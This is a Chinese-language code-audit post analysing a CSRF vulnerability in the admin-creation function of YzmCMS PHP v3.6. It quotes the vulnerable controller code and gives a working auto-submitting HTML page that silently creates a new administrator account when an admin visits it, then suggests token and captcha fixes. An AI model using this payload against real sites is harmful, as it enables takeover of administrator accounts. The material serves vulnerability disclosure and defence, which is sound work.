
正文
【代码审计】YzmCMS_PHP_v3.6 CSRF漏洞分析
提示:扫一扫查出行【扫一扫了解最新限行尾号】
复制提示
0x00 环境准备
YzmCMS官网:http://www.yzmcms.com/
程序源码下载:http://pan.baidu.com/s/1pKA4u99
测试网站首页:
0x01 代码分析
1、文件位置: /application/admin/controller/admin_manage.class.php第35-59行中:
- public function add() {
- $admin = D('admin');
- $admin_role = D('admin_role');
- $roles = $admin_role- > where(array('disabled'= > '0'))- > select();
- if(isset($_POST['dosubmit'])) {
- if(!is_username($_POST["adminname"])) return_json(array('status'= > 0,'message'= > L('user_name_format_error')));
- if(!is_password($_POST["password"])) return_json(array('status'= > 0,'message'= > L('password_format_error')));
- if($_POST["email"]!=''){
- if(!is_email($_POST["email"])) return_json(array('status'= > 0,'message'= > L('mail_format_error')));
- 10. }
- 11. $res = $admin- > where(array('adminname'= > $_POST["adminname"]))- > find();
- 12. if($res) return_json(array('status'= > 0,'message'= > L('user_already_exists')));
- 13.
- 14. $_POST['password'] = password($_POST['password']);
- 15. $r = $admin_role- > field('rolename')- > where(array('roleid' = > $_POST['roleid']))- > find();
- 16. $_POST['rolename'] = $r['rolename'];
- 17. $_POST['addtime'] = SYS_TIME;
- 18. $_POST['addpeople'] = $_SESSION['adminname'];
- 19. $admin- > insert($_POST);
- 20. return_json(array('status'= > 1,'message'= > L('operation_success')));
- 21. } else {
- 22. include $this- > admin_tpl('admin_add');
- 23. }
- 24.
25. }
这段函数中进行添加管理员操作,只进行管理员身份验证,未对访问来源进行识别,导致程序在实现上存在CSRF漏洞。
0x02 漏洞利用
1、构造CSRF漏洞利用代码如下:
- <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" >
- <html>
- <head>
- <title> OWASP CRSFTester Demonstration </title>
- </head>
- <body onload="javascript:fireForms()" >
- <script language="JavaScript" >
- var pauses = new Array( "68" );
- 10.
11. function pausecomp(millis)
12. {
- 13. var date = new Date();
- 14. var curDate = null;
- 15.
- 16. do { curDate = new Date(); }
- 17. while(curDate-date < millis );
18. }
- 19.
20. function fireForms()
21. {
- 22. var count = 1;
- 23. var i=0;
- 24.
- 25. for(i=0; i <count ; i++)
- 26. {
- 27. document.forms[i].submit();
- 28.
- 29. pausecomp(pauses[i]);
- 30. }
31. }
- 32.
33. </script>
34. <H2> OWASP CRSFTester Demonstration </H2>
35. <form method="POST" name="form0" action="http://127.0.0.1:80/admin/admin_manage/add.html" >
36. <input type="hidden" name="adminname" value="admin" />
37. <input type="hidden" name="password" value="abc123!" />
38. <input type="hidden" name="password2" value="abc123!" />
39. <input type="hidden" name="email" value="" />
40. <input type="hidden" name="realname" value="" />
41. <input type="hidden" name="roleid" value="1" />
42. <input type="hidden" name="dosubmit" value="1" />
43. </form>
44. </body>
45. </html>
2、当管理员浏览该页面时,自动创建管理员账号admin
3、利用admin账号可成功登录后台进行任意操作。
0x03 修复建议
1、通过token或者session来判断当前用户身份
2、敏感操作需要验证码,更改密码需要验证老密码。
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。







